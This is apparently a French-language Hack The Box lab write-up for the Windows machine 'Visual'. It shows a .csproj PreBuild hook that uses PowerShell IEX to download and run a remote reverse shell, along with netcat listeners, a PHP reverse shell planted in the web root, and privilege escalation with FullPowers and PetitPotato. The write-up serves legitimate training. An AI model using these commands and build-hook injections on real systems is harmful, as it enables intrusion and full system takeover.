HTB: Visual
- Platforme: Hack The Box
- Link: Visual
- Niveau: Moyen
- OS: Windows
La cible est une machine Windows de difficulté moyenne avec une application web acceptant les URLs des répertoires Git soumis par les utilisateurs.
Adresse IP cible - 10.10.11.234
Mon adresse IP - 10.10.14.222
Balayage (Scanning)
sudo nmap -sC -sV -oA nmap/Visual 10.10.11.234
Je commence avec un scan nmap et j’obtiens quelques informations:
- Un serveur web Apache
- Une machine Windows
- Une application PHP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 19:13 MST
Nmap scan report for 10.10.11.234
Host is up (0.047s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.28 seconds
Enumération
Nous accédons à l’application web en visitant http://10.10.11.234
. L’application semble être un service permettant à l’utilisateur de soumettre le lien d’un répertoire Git, qui compilera ensuite le projet .NET pour l’utilisateur.
Je teste la fonctionnalité en envoyant un URL, via Python3.
python3 -m http.server
Je soumets mon lien http://10.10.14.222:8000
(Remplacez 10.10.14.222
par votre adresse IP)
Je suis redirigé vers cette page, où l’application tente de compiler mon projet.
Comme il n’y a pas de projet à cet URL, l’opération échoue mais j’obtiens quelques informations. Cette application recherche un fichier .sln
.
Un fichier .sln est un fichier de solution utilisé par Microsoft Visual Studio. Ce fichier sert de conteneur pour un ou plusieurs projets. Il permet d’organiser et de gérer des projets au sein d’un espace de travail unique. Le fichier .sln stocke des informations sur les projets qu’il contient, notamment leurs dépendances, les configurations de construction et les références à des bibliothèques ou ressources externes.
Je peux voir les réponses sur mon serveur.
Je vois un code 404, aucun fichier n’ayant été trouvé à mon URL et GET /info/refs?service=git-upload-pack HTTP/1.1" 404
. Il semble que l’application utilise le service git-upload-pack
qui fait partie du protocole Git utilisé pour des opérations telles que le clonage ou la récupération de modifications à partir d’un répertoire. Pour en savoir plus, cliquez ici
.
On peut lire sur le site que notre lien doit mener à un projet .NET 6.0 avec un fichier .sln
.
Foothold
Je n’ai jamais utilisé .NET, j’ai donc demandé à ChatGPT de m’aider à créer un projet pour cette technologie.
dotnet new sln -n visual
Lorsque vous exécutez la commande dotnet new sln -n visual
, un nouveau fichier de solution nommé visual.sln
est créé.
dotnet new console -n visual
Cette commande crée un nouveau projet d’application nommé visual
. Ce projet contiendra les fichiers et les configurations nécessaires pour une application console de base écrite en C#.
Ajoutons le fichier de projet visual.csproj
situé dans le répertoire visual
au fichier de la solution (visual.sln
).
dotnet sln add visual/visual.csproj
Pour les projets .NET, un fichier
.csproj
est utilisé pour définir et configurer le projet. Il s’agit d’un fichier XML qui contient des métadonnées et des paramètres concernant le projet, tels que ses dépendances, ses paramètres de construction, le cadre cible, etc.
git init
est utilisé pour initialiser un nouveau répertoire Git.
git init
Il nous faut trouver un moyen de servir notre répertoire Git à l’application. J’ai trouvé un excellent article à ce sujet ici, A Quick and Hacky Way to Serve a Git Repo over HTTP .
Exécutons maintenant les commandes suivantes
git add .
git commit -m "Test"
cd .git
git --bare update-server-info
cd ..
Nous devrons les exécuter à chaque fois que nous apporterons des modifications à nos fichiers. Lorsque vous exécutez
git --bare update-server-info
, Git met à jour les fichiers auxiliaires nécessaires pour servir le répertoire via le réseau.
Relancez votre serveur python avec python3 -m http.server
et soumettez votre URL maintenant que nous avons les bons fichiers.
http://10.10.14.222:8000/.git
Le processus de compilation est cette fois-ci un succès.
De retour sur notre serveur, nous obtenons des requêtes GET valides.
Je peux voir que l’application compile les fichiers dans le répertoire git. Nous devons trouver un moyen d’exploiter ce processus. En faisant des recherches, je trouve cette page de Microsoft qui explique qu’un “pre-build event” fait référence à un script ou à une commande qui est exécuté avant que le processus de compilation pour le projet ne commence.
Nous pouvons utiliser un événement PreBuild
dans le fichier .csproj
pour exécuter des commandes. Essayons d’ajouter un shell inversé (reverse shell).
- Ci-dessous, mon fichier
.csproj
modifié
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.222:8000/revshell.ps1')" />
</Target>
</Project>
- Créons un script PowerShell
revshell.ps1
pour obtenir un shell distant. J’ai utilisé ce nishang shell pour le reverse shell. J’ai modifié ce shell , en changeant le nom de la fonction et en ajoutant le “reverse switch” à la fin.
Je mets en place un listener netcat avec
nc -nvlp 9001
Nous utilisons encore ces commandes git
git add .
git commit -m "Add as a test"
cd .git
git --bare update-server-info
cd ..
Si vous avez stoppé votre serveur Python, redémarrez-le (et laissez-le tourner) et re-soumettez votre lien.
Le listener devrait capturer un shell une fois la compilation terminée, nous sommes dans le système!
Executer whoami
nous permet de constater que nous sommes l’utilisateur enox
.
Nous pouvons vérifier nos privilèges avec whoami /priv
.
Je vais dans le répertoire principal de l’utilisateur avec cd \Users\enox
et j’utilise ls
pour voir les différents sous-répertoires.
Je consulte le contenu du répertoire Desktop
avec dir Desktop
et je vois le drapeau user.txt
. Utilisez cat user.txt
pour examiner son contenu.
Mouvement Latéral
Pour trouver les chemins d’escalade de privilèges, utilisons winPEAS . Téléchargez WinPEASany.exe et stockez-le dans le dossier que vous utilisez pour votre serveur python.
Transférer le fichier sur le système cible avec wget
.
wget http://10.10.14.222:8000/winPEASany.exe -o wpany.exe
Utilisez votre adresse IP et remplacez le port par celui que vous utilisez pour votre serveur.
Vérifiez que le fichier se trouve sur la cible.
Vous pouvez vérifier les options de winPEAS avec ./wpany.exe -h
.
Exécutez winPEAS avec les options que vous souhaitez. Parce que je veux une énumération assez complète, j’utilise la commande suivante
./wpany.exe domain systeminfo userinfo processinfo servicesinfo applicationsinfo networkinfo windowscreds browserinfo filesinfo eventsinfo quiet
Il semble que nous possédons les permissions pour accéder au dossier contenant le service Apache HTTP Server.
En parcourant les résultats, on peut noter que nous avons un accès complet au répertoire xampp (rappelez-vous qu’il s’agit d’une application PHP), le même dossier que celui dans lequel Apache est stocké.
Nous pouvons essayer d’en savoir plus sur ApacheHTTPServer
avec
Get-CIMInstance -Class Win32_Service -Filter "Name='ApacheHTTPServer'" | Select-Object *
Voici le résultat que nous obtenons, il semble qu’il s’exécute sous NT AUTHORITY\NLocal Service
.
“Sur Windows 10, le service UPnP Device Host est configuré pour s’exécuter sans privilèges d’usurpation d’identité en tant qu’utilisateur NT AUTHORITY\LOCAL SERVICE…”. En résumé, nous pouvons réaliser une escalade des privilèges via ce compte. Pour en savoir plus, cliquez ici .
Le service s’exécute sous NT AUTHORITY\NLocal Service
, nous devons donc accéder à ce compte. Puisque nous avons accès au répertoire xampp, nous pouvons y installer un reverse shell et y accéder via le navigateur web. Je vais dans ce répertoire et je liste son contenu.
Pour les applications PHP, le dossier XAMPP sert de répertoire racine pour l’hébergement des fichiers web (tels que HTML, PHP, CSS, JavaScript, images, etc.) et la gestion des paramètres de configuration du serveur.
cd C:\Xampp\
ls
Remarquez le dossier htdocs
.
Avec XAMPP, le dossier
htdocs
est la racine du serveur web par défaut. Cela signifie que tous les fichiers placés dans le dossierhtdocs
seront accessibles via un navigateur web lorsque le serveur XAMPP est en cours d’exécution.
Les fichiers de l’application sont présents, comme vous pouvez le voir. Nous pouvons placer un reverse shell PHP dans le dossier htdocs
.
J’ai utilisé ce reverse shell PHP .
Je lance ensuite wget http://10.10.14.222:8000/revshell.php -o rev.php
pour le transférer sur le serveur cible.
Mettons en place un listener netcat avec
nc -nvlp 8010
Utilisez le numéro de port que vous avez spécifié dans le reverse shell PHP.
Retournez à votre navigateur et allez à http://<adresse IP cible>/rev.php
, revenez à votre listener et vous devriez avoir un shell avec l’utilisateur nt authority\local service
.
Vérifiez vos privilèges et vous remarquez qu’il vous manque le privilège ImpersonatePrivilege
nécessaire pour obtenir les privilèges administratifs.
Exécutons whoami /priv
.
Escalade des privilèges
Cet article
vous donne le lien d’un outil qui permet d’obtenir plus de privilèges. L’outil s’appelle FullPowers
. Téléchargez-le sur la machine cible (Assurez-vous d’utiliser le reverse shell avec nt authority\local service
).
Ce fichier ne sera pas exécuté via le navigateur, donc nous retournons dans le répertoire
xampp
avec (cd ..
) avant de télécharger notre fichier.
wget http://10.10.14.222:8000/FullPowers.exe -o fp.exe
Une erreur se produit parce que nous disposons actuellement d’un shell cmd et non d’un shell PowerShell.
Il suffit d’utiliser powershell
et de réexécuter la commande wget
.
Maintenant, nous exécutons fp.exe
et nous obtenons de nouveaux privilèges! Remarquez que nous avons été rétrogradés à un shell cmd et que nous avons été forcés hors du dossier xampp
, nous devons donc exécuter powershell
à nouveau et cd C:\xampp
.
Nous pouvons maintenant utiliser PetitPotato
pour réaliser une escalade de privilèges en abusant de ImpersonatePrivilege
.
Nous le transmettons à la cible en exécutant
wget http://10.10.14.222:8000/PetitPotato.exe -o pp.exe
Nous obtenons une erreur
wget : Win32 internal error "Access is denied" 0x5 occurred while reading the console output buffer. Contact Microsoft
Il semble que cette erreur soit causée par la barre de progression affichée sur le terminal. Elle peut être résolue en exécutant $ProgressPreference = "SilentlyContinue"
avant la commande wget
.
Nous pouvons maintenant utiliser notre fichier en exécutant
./pp.exe 3 cmd
Nous avons maintenant des privilèges d’administrateur.
cd C:\Users\Administrator\Desktop
Ensuite, listons le contenu du répertoire, nous avons encore été rétrogradés à un shell cmd, nous devons donc utiliser dir
.
Nous trouvons le fichier root.txt
! Utilisez type root.txt
pour voir son contenu.
C’est tout pour mon premier writeup sur Hack The Box! J’espère qu’il vous a été utile. Si vous avez des questions, laissez un commentaire ou contactez-moi sur X @_KScorpio .